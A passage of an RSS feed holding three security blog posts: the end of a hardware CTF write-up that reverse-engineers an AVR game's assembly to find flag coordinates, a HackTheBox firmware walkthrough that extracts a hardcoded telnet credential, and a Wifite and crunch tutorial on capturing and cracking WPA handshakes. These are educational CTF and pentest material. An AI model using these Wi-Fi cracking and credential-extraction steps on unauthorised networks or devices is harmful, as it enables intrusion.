&lt;_ZZ8drawGamevE5flagX&gt;<br>   0x00000c7a &lt;+32&gt;:    lds     r25, 0x0067     ;  0x800067 &lt;_ZZ8drawGamevE5flagX+1&gt;<br>   0x00000c7e &lt;+36&gt;:    cp      r18, r24<br>   0x00000c80 &lt;+38&gt;:    cpc     r19, r25<br>   0x00000c82 &lt;+40&gt;:    brne    .+40            ;  0xcac &lt;drawGame()+82&gt;<br>   0x00000c84 &lt;+42&gt;:    lds     r18, 0x0068     ;  0x800068 &lt;playerY&gt;<br>   0x00000c88 &lt;+46&gt;:    lds     r19, 0x0069     ;  0x800069 &lt;playerY+1&gt;<br>   0x00000c8c &lt;+50&gt;:    lds     r24, 0x0064     ;  0x800064 &lt;_ZZ8drawGamevE5flagY&gt;<br>   0x00000c90 &lt;+54&gt;:    lds     r25, 0x0065     ;  0x800065 &lt;_ZZ8drawGamevE5flagY+1&gt;<br>   0x00000c94 &lt;+58&gt;:    cp      r18, r24<br>   0x00000c96 &lt;+60&gt;:    cpc     r19, r25<br>   0x00000c98 &lt;+62&gt;:    brne    .+18            ;  0xcac &lt;drawGame()+82&gt;<br>   0x00000c9a &lt;+64&gt;:    ldi     r24, 0x03       ; 3<br>   0x00000c9c &lt;+66&gt;:    ldi     r25, 0x00       ; 0<br>   0x00000c9e &lt;+68&gt;:    sts     0x018F, r25     ;  0x80018f &lt;currentState+1&gt;<br>   0x00000ca2 &lt;+72&gt;:    sts     0x018E, r24     ;  0x80018e &lt;currentState&gt;<br>   0x00000ca6 &lt;+76&gt;:    ldi     r24, 0x04       ; 4<br>   0x00000ca8 &lt;+78&gt;:    rcall   .-1298          ;  0x798 &lt;noTone(uint8_t)&gt;<br>   0x00000caa &lt;+80&gt;:    rjmp    .+262           ;  0xdb2 &lt;drawGame()+344&gt;<br>   0x00000cac &lt;+82&gt;:    lds     r18, 0x0062     ;  0x800062 &lt;_ZZ8drawGamevE5lastX&gt;<br>   0x00000cb0 &lt;+86&gt;:    lds     r19, 0x0063     ;  0x800063 &lt;_ZZ8drawGamevE5lastX+1&gt;<br>   0x00000cb4 &lt;+90&gt;:    lds     r24, 0x006A     ;  0x80006a &lt;playerX&gt;<br>   0x00000cb8 &lt;+94&gt;:    lds     r25, 0x006B     ;  0x80006b &lt;playerX+1&gt;<br>   0x00000cbc &lt;+98&gt;:    cp      r18, r24<br>   0x00000cbe &lt;+100&gt;:   cpc     r19, r25<br>   0x00000cc0 &lt;+102&gt;:   brne    .+24            ;  0xcda &lt;drawGame()+128&gt;<br>   0x00000cc2 &lt;+104&gt;:   lds     r18, 0x0060     ;  0x800060 &lt;_ZZ8drawGamevE5lastY&gt;<br>   0x00000cc6 &lt;+108&gt;:   lds     r19, 0x0061     ;  0x800061 &lt;_ZZ8drawGamevE5lastY+1&gt;<br>   0x00000cca &lt;+112&gt;:   lds     r24, 0x0068     ;  0x800068 &lt;playerY&gt;<br>   0x00000cce &lt;+116&gt;:   lds     r25, 0x0069     ;  0x800069 &lt;playerY+1&gt;<br>   0x00000cd2 &lt;+120&gt;:   cp      r18, r24<br>   0x00000cd4 &lt;+122&gt;:   cpc     r19, r25<br>   0x00000cd6 &lt;+124&gt;:   brne    .+2             ;  0xcda &lt;drawGame()+128&gt;<br>   0x00000cd8 &lt;+126&gt;:   rjmp    .+216           ;  0xdb2 &lt;drawGame()+344&gt;<br>   0x00000cda &lt;+128&gt;:   ldi     r22, 0x00       ; 0<br>   0x00000cdc &lt;+130&gt;:   ldi     r24, 0x8D       ; 141<br>   0x00000cde &lt;+132&gt;:   ldi     r25, 0x01       ; 1<br>   0x00000ce0 &lt;+134&gt;:   rcall   .-1092          ;  0x89e &lt;SSD1306Device::ssd1306_fillscreen(uint8_t)&gt;<br>   0x00000ce2 &lt;+136&gt;:   ldi     r20, 0x00       ; 0<br>   0x00000ce4 &lt;+138&gt;:   ldi     r22, 0x00       ; 0<br>   0x00000ce6 &lt;+140&gt;:   ldi     r24, 0x8D       ; 141<br>   0x00000ce8 &lt;+142&gt;:   ldi     r25, 0x01       ; 1<br>   0x00000cea &lt;+144&gt;:   rcall   .-1156          ;  0x868 &lt;SSD1306Device::ssd1306_setpos(uint8_t, uint8_t)&gt;<br>   0x00000cec &lt;+146&gt;:   lds     r18, 0x0068     ;  0x800068 &lt;playerY&gt;<br>   0x00000cf0 &lt;+150&gt;:   lds     r19, 0x0069     ;  0x800069 &lt;playerY+1&gt;<br>   0x00000cf4 &lt;+154&gt;:   lds     r24, 0x006A     ;  0x80006a &lt;playerX&gt;<br>   0x00000cf8 &lt;+158&gt;:   lds     r25, 0x006B     ;  0x80006b &lt;playerX+1&gt;<br>   0x00000cfc &lt;+162&gt;:   mov     r20, r19<br>   0x00000cfe &lt;+164&gt;:   push    r20<br>   0x00000d00 &lt;+166&gt;:   push    r18<br>   0x00000d02 &lt;+168&gt;:   mov     r18, r25<br>   0x00000d04 &lt;+170&gt;:   push    r18<br>   0x00000d06 &lt;+172&gt;:   push    r24<br>   0x00000d08 &lt;+174&gt;:   ldi     r24, 0xAD       ; 173<br>   0x00000d0a &lt;+176&gt;:   ldi     r25, 0x00       ; 0<br>   0x00000d0c &lt;+178&gt;:   mov     r24, r25<br>   0x00000d0e &lt;+180&gt;:   push    r24<br>   0x00000d10 &lt;+182&gt;:   ldi     r24, 0xAD       ; 173<br>   0x00000d12 &lt;+184&gt;:   ldi     r25, 0x00       ; 0<br>   0x00000d14 &lt;+186&gt;:   push    r24<br>   0x00000d16 &lt;+188&gt;:   movw    r24, r28<br>   0x00000d18 &lt;+190&gt;:   adiw    r24, 0x01       ; 1<br>   0x00000d1a &lt;+192&gt;:   push    r25<br>   0x00000d1c &lt;+194&gt;:   push    r24<br>   0x00000d1e &lt;+196&gt;:   rcall   .+2308          ;  0x1624 &lt;sprintf&gt;<br>   0x00000d20 &lt;+198&gt;:   in      r24, 0x3d       ; 61<br>   0x00000d22 &lt;+200&gt;:   in      r25, 0x3e       ; 62<br>   0x00000d24 &lt;+202&gt;:   adiw    r24, 0x08       ; 8<br>   0x00000d26 &lt;+204&gt;:   in      r0, 0x3f        ; 63<br>   0x00000d28 &lt;+206&gt;:   cli<br>   0x00000d2a &lt;+208&gt;:   out     0x3e, r29       ; 62<br>   0x00000d2c &lt;+210&gt;:   out     0x3f, r0        ; 63<br>   0x00000d2e &lt;+212&gt;:   out     0x3d, r28       ; 61<br>   0x00000d30 &lt;+214&gt;:   movw    r24, r28<br>   0x00000d32 &lt;+216&gt;:   adiw    r24, 0x01       ; 1<br>   0x00000d34 &lt;+218&gt;:   movw    r22, r24<br>   0x00000d36 &lt;+220&gt;:   ldi     r24, 0x8D       ; 141<br>   0x00000d38 &lt;+222&gt;:   ldi     r25, 0x01       ; 1<br>   0x00000d3a &lt;+224&gt;:   rcall   .-1342          ;  0x7fe &lt;SSD1306Device::ssd1306_string_font6x8(char*)&gt;<br>   0x00000d3c &lt;+226&gt;:   lds     r24, 0x006A     ;  0x80006a &lt;playerX&gt;<br>   0x00000d40 &lt;+230&gt;:   lds     r25, 0x006B     ;  0x80006b &lt;playerX+1&gt;<br>   0x00000d44 &lt;+234&gt;:   cpi     r24, 0x80       ; 128<br>   0x00000d46 &lt;+236&gt;:   cpc     r25, r1<br>   0x00000d48 &lt;+238&gt;:   brcc    .+52            ;  0xd7e &lt;drawGame()+292&gt;<br>   0x00000d4a &lt;+240&gt;:   lds     r24, 0x0068     ;  0x800068 &lt;playerY&gt;<br>   0x00000d4e &lt;+244&gt;:   lds     r25, 0x0069     ;  0x800069 &lt;playerY+1&gt;<br>   0x00000d52 &lt;+248&gt;:   sbiw    r24, 0x08       ; 8<br>   0x00000d54 &lt;+250&gt;:   brcc    .+40            ;  0xd7e &lt;drawGame()+292&gt;<br>   0x00000d56 &lt;+252&gt;:   lds     r24, 0x0068     ;  0x800068 &lt;playerY&gt;<br>   0x00000d5a &lt;+256&gt;:   lds     r25, 0x0069     ;  0x800069 &lt;playerY+1&gt;<br>   0x00000d5e &lt;+260&gt;:   mov     r18, r24<br>   0x00000d60 &lt;+262&gt;:   lds     r24, 0x006A     ;  0x80006a &lt;playerX&gt;<br>   0x00000d64 &lt;+266&gt;:   lds     r25, 0x006B     ;  0x80006b &lt;playerX+1&gt;<br>   0x00000d68 &lt;+270&gt;:   mov     r20, r18<br>   0x00000d6a &lt;+272&gt;:   mov     r22, r24<br>   0x00000d6c &lt;+274&gt;:   ldi     r24, 0x8D       ; 141<br>   0x00000d6e &lt;+276&gt;:   ldi     r25, 0x01       ; 1<br>   0x00000d70 &lt;+278&gt;:   rcall   .-1290          ;  0x868 &lt;SSD1306Device::ssd1306_setpos(uint8_t, uint8_t)&gt;<br>   0x00000d72 &lt;+280&gt;:   ldi     r22, 0xB7       ; 183<br>   0x00000d74 &lt;+282&gt;:   ldi     r23, 0x00       ; 0<br>   0x00000d76 &lt;+284&gt;:   ldi     r24, 0x8D       ; 141<br>   0x00000d78 &lt;+286&gt;:   ldi     r25, 0x01       ; 1<br>   0x00000d7a &lt;+288&gt;:   rcall   .-1406          ;  0x7fe &lt;SSD1306Device::ssd1306_string_font6x8(char*)&gt;<br>   0x00000d7c &lt;+290&gt;:   rjmp    .+20            ;  0xd92 &lt;drawGame()+312&gt;<br>   0x00000d7e &lt;+292&gt;:   ldi     r20, 0x07       ; 7<br>   0x00000d80 &lt;+294&gt;:   ldi     r22, 0x00       ; 0<br>   0x00000d82 &lt;+296&gt;:   ldi     r24, 0x8D       ; 141<br>   0x00000d84 &lt;+298&gt;:   ldi     r25, 0x01       ; 1<br>   0x00000d86 &lt;+300&gt;:   rcall   .-1312          ;  0x868 &lt;SSD1306Device::ssd1306_setpos(uint8_t, uint8_t)&gt;<br>   0x00000d88 &lt;+302&gt;:   ldi     r22, 0xB9       ; 185<br>   0x00000d8a &lt;+304&gt;:   ldi     r23, 0x00       ; 0<br>   0x00000d8c &lt;+306&gt;:   ldi     r24, 0x8D       ; 141<br>   0x00000d8e &lt;+308&gt;:   ldi     r25, 0x01       ; 1<br>   0x00000d90 &lt;+310&gt;:   rcall   .-1428          ;  0x7fe &lt;SSD1306Device::ssd1306_string_font6x8(char*)&gt;<br>   0x00000d92 &lt;+312&gt;:   lds     r24, 0x006A     ;  0x80006a &lt;playerX&gt;<br>   0x00000d96 &lt;+316&gt;:   lds     r25, 0x006B     ;  0x80006b &lt;playerX+1&gt;<br>   0x00000d9a &lt;+320&gt;:   sts     0x0063, r25     ;  0x800063 &lt;_ZZ8drawGamevE5lastX+1&gt;<br>   0x00000d9e &lt;+324&gt;:   sts     0x0062, r24     ;  0x800062 &lt;_ZZ8drawGamevE5lastX&gt;<br>   0x00000da2 &lt;+328&gt;:   lds     r24, 0x0068     ;  0x800068 &lt;playerY&gt;<br>   0x00000da6 &lt;+332&gt;:   lds     r25, 0x0069     ;  0x800069 &lt;playerY+1&gt;<br>   0x00000daa &lt;+336&gt;:   sts     0x0061, r25     ;  0x800061 &lt;_ZZ8drawGamevE5lastY+1&gt;<br>   0x00000dae &lt;+340&gt;:   sts     0x0060, r24     ;  0x800060 &lt;_ZZ8drawGamevE5lastY&gt;<br>   0x00000db2 &lt;+344&gt;:   adiw    r28, 0x10       ; 16<br>   0x00000db4 &lt;+346&gt;:   in      r0, 0x3f        ; 63<br>   0x00000db6 &lt;+348&gt;:   cli<br>   0x00000db8 &lt;+350&gt;:   out     0x3e, r29       ; 62<br>   0x00000dba &lt;+352&gt;:   out     0x3f, r0        ; 63<br>   0x00000dbc &lt;+354&gt;:   out     0x3d, r28       ; 61<br>   0x00000dbe &lt;+356&gt;:   pop     r29<br>   0x00000dc0 &lt;+358&gt;:   pop     r28<br>   0x00000dc2 &lt;+360&gt;:   ret<br>End of assembler dump.</pre><p>Now, let’s analyze drawGame functions and related variables.</p><ul><li><strong>playerX and </strong><strong>playerY</strong>: Represent the player’s position, stored at memory locations 0x80006A (X) and 0x800068 (Y).</li><li><strong>flagX and </strong><strong>flagY</strong>: Represent the flag’s position, stored at memory locations 0x800066 (X) and 0x800064 (Y).</li></ul><p>I noticed that every time player restarts the game, the initial coordinate remains the same (64,2). We know that these values are set to the variable playerX and playerY. We can print the values to verify:</p><pre>print *(uint16_t*)0x80006A<br>print *(uint16_t*)0x800068</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*2OO1iLdw3p4ISw6wFijauw.png" /><figcaption>Initial position is (64,2)</figcaption></figure><p>Now, we can simply print flagX and flagY values:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*zD-flfHYD4Az6bPDU1jPXQ.png" /><figcaption>Flag coordinate is (313,37)</figcaption></figure><h3>Ghidra Approach by C4P4NG</h3><p>Here’s an easier take by our reversing sifu. Head to drawGame() function and take a look at the decompiler for flagX and flagY.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*zXW4BcAZmXK--E87H0jwRQ.png" /><figcaption>flagX in decompiler</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*tr88S674oMjj7hyQuGTcrA.png" /><figcaption>flagX in disassembly view</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*ySv6u7gRFJXs09UUw4CSDA.png" /><figcaption>flagY in decompiler</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*dQpSHFTR8hRuGPpZouhLrQ.png" /><figcaption>flagY in disassembly view</figcaption></figure><p>0139h, 0025h converted from hexadecimal to decimal is (313,37).</p><h3>Conclusion</h3><p>Thank you so much for made it here! I had a lot fun in solving these and learnt a lot! ❤</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*F2otCoYJseHzWj4duZ-T5g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O9Nk1ANKeQZzWH9xL5Aa9A.jpeg" /><figcaption>Flag submission</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bs6L392qOoJ-k1tFLDZCvQ.jpeg" /><figcaption>Thank you Max (from lockpicking session) for the oleh-oleh!</figcaption></figure><h3>Extra Reading: command print *(uint16_t*)</h3><ol><li><strong>playerX is stored at address </strong><strong>0x80006A</strong>: The program assigns playerX to start at memory location 0x80006A.</li><li><strong>uint16_t means playerX uses 2 bytes</strong>: AVR microcontrollers store 16-bit numbers (like playerX) across 2 memory locations.</li></ol><p>For playerX:</p><ul><li>The <strong>first byte</strong> (least significant byte or LSB) is at 0x80006A.</li><li>The <strong>second byte</strong> (most significant byte or MSB) is at 0x80006B.</li></ul><p>3.<strong> The command reads the 16-bit value</strong>:</p><ul><li>*(uint16_t*)0x80006A tells GDB to start reading at 0x80006A.</li><li>Combine the two bytes (LSB and MSB) into a single 16-bit number.</li><li>Example: If memory looks like this:</li></ul><pre>0x80006A: 0x40 (LSB)<br>0x80006B: 0x00 (MSB)</pre><p>The result is:</p><pre>0x0040 = 64 (in decimal)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63ccbe3caba9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: The Needle Walkthrough]]></title>
            <link>https://medium.com/@ssi51/htb-the-needle-walkthrough-18fb7676b4d9?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/18fb7676b4d9</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hardware]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Mon, 29 Jul 2024 14:15:47 GMT</pubDate>
            <atom:updated>2024-07-29T14:15:47.955Z</atom:updated>
            <content:encoded><![CDATA[<p>As a part of our SDLC process, we’ve got our firmware ready for security testing. Can you help us by performing a security assessment?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*yL7wbRG_5X_fnnLi26TW8A.png" /></figure><p>First, you’ll want to extract the contents of the firmware file to analyze it. You can use tools like binwalk to extract the firmware.</p><pre>binwalk -e firmware.bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*YyVCTDFR2zLriB0wMMW1wA.png" /></figure><p>After extracting the firmware, explore the file system to understand its structure. Look for common directories such as /etc, /bin, /sbin, /lib, etc.</p><pre>cd _firmware.bin.extracted<br>ls</pre><p>One of the biggest hint I could find is when I try to netcat the IP address provided by HTB. It’s asking for a login credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*7pkD5Qji2a9GmYiiE5xJiQ.png" /></figure><p>So, we need to find any file that contains login info to login.</p><pre>grep -rn &quot;./&quot; -e login</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETp_UALzSsTmh3fWqMEfkw.png" /></figure><p>As you can see from the output, ‘Device_Admin’ is the username. This line is setting up a telnet daemon with a specific login and user credentials (Device_Admin:$sign). The Device_Admin and $sign suggest a potential hardcoded credential which is a significant security concern.</p><p>Let’s look for password. It is related to something related to $sign so lets try find it using the find command.</p><pre>find ./ -name sign</pre><p>Let’s cat the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*XjIjl9-20HCy_pU5eBiPBQ.png" /></figure><p>Let’s login with the username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcMv9CuDuIfWxdJrNuyTUg.png" /></figure><p>Thank you for reading! ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18fb7676b4d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wifite Wizardry]]></title>
            <link>https://medium.com/@ssi51/wifite-wizardry-2e67f10603ec?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e67f10603ec</guid>
            <category><![CDATA[wifite]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[wireless]]></category>
            <category><![CDATA[crunch]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Sun, 14 Jul 2024 14:55:13 GMT</pubDate>
            <atom:updated>2024-07-14T14:55:13.728Z</atom:updated>
            <content:encoded><![CDATA[<p>As I wast perusing mine olde Notion notes, I didst come upon this note which I hadst wrought during mine internship. ’Twas a note concerning wireless pentesting.</p><p>I’m just kidding. In short, I’m gonna talk about wireless pentesting!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*zSD_HQS-iAdbV0UN.png" /></figure><h3>Wifite</h3><p>Wifite is a tool to audit WEP or WPA encrypted wireless networks. It uses aircrack-ng, pyrit, reaver, tshark tools to perform the audit. This tool is customizable to be automated with only a few arguments and can be trusted to run without supervision.</p><p>Wifite is designed to use all known methods for retrieving the password of a wireless access point (router). These methods include:</p><ol><li>WPS: The <a href="https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack">Offline Pixie-Dust attack</a></li><li>WPS: The <a href="https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack">Online Brute-Force PIN attack</a></li><li>WPA: The <a href="https://hashcat.net/forum/thread-7717.html">WPA Handshake Capture</a> + offline crack.</li><li>WPA: The <a href="https://hashcat.net/forum/thread-7717.html">PMKID Hash Capture</a> + offline crack.</li><li>WEP: Various known attacks against WEP, including <em>fragmentation</em>, <em>chop-chop</em>, <em>aireplay</em>, etc.</li></ol><h4>How to Use?</h4><p>Wifite tool should be pre-installed, if you use the Kali Linux or ParrotSec. For this example, I’m going to use the Kali Linux and Alfa AWUS036ACH as wireless adapter. The following are the steps required to make such call:</p><ol><li>To check wireless network adapter detected in Kali Linux.</li></ol><pre>$ lsusb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*f2hqGyIVQpOl-sXEf55gJw.png" /></figure><p>2. Before we start the wireless assessment, we need to know what network card we use such as wlan0 or wlan1.</p><pre>$ iwconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*HwV6zhKZm5FOcwclvTMlBw.png" /></figure><p>3. Then, to test our wireless adapter can or not to inject packets into a wireless network to generate traffic.</p><pre>$ aireplay-ng -test wlan0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*cfwzKGcu-cbTC6jBqU4DBQ.png" /></figure><p>4. After confirming our wireless card is detected and able to inject the packet to network, now we will run wifite.</p><p>Note: Wifite will automatically enable airmon-ng (monitor mode) and our target AP is “EvilCorp WIFI”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*2xUqpQEjoyLtXamKDibang.png" /></figure><p>5. Let’s select number 5 as our target to intercept 4-way handshake. Sometimes the numbers will change when you stop scanning because wifite will sort AP based on High to Low Power.</p><p>6. Wifite will automatically attack the AP using available techniques. It this example, wifite using PMKID and WPA Handshake capture. The result here we were able to intercept handshake and able to crack using password using the default wordlist (wordlist-proable.txt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*ZVhC85drfCwV6hwd6jxa-Q.png" /></figure><p>7. Let’s say if you able to intercept but the wordlist not able to crack the password, we can use different customizable wordlist such as Crunch to crack.</p><h3>Crunch</h3><p>Crunch is a wordlist generator where you can specify a standard character set or any set of characters to be used in generating the wordlists. The wordlists are created through combination and permutation of a set of characters. You can determine the amount of characters and list size.</p><h4>How to use?</h4><p>If you know that the password you are looking for contains of:</p><ul><li>1 to 8 characters and consists of lower-case letters, crunch will display a wordlist that starts at a and ends at zzzzzzzz. The generate wordlist will be save on wordlist.txt.</li></ul><pre>$ crunch 1 8 -o wordlist.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*apZCuDJXZOl0fMeP8aJ-nA.png" /></figure><p>Suppose the known part of the password is “nexagate”. It is also known that it:</p><ul><li>Starts with that word</li><li>Must contain lower-case, numbers and special characters.</li><li>It is known from shoulder surfing that it has to be 13 characters long, since 13 keys were pressed when typing and appeared on the display as black dots.</li></ul><pre>$ crunch 13 13 -t nexagate^%%%%</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*V7O8aFnCh7toE9Q2aTDetg.png" /></figure><p>Specifies a pattern, eg: @@god@@@@ where the only the @’s, ,’s, %’s, and ^’s will change.</p><ul><li>@ will insert lower case characters</li><li>, will insert upper case characters</li><li>% will insert numbers</li><li>^ will insert symbols</li></ul><p>Thank you to Helmi from Nexagate OS for guiding me! And thanks for reading everyone! ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e67f10603ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>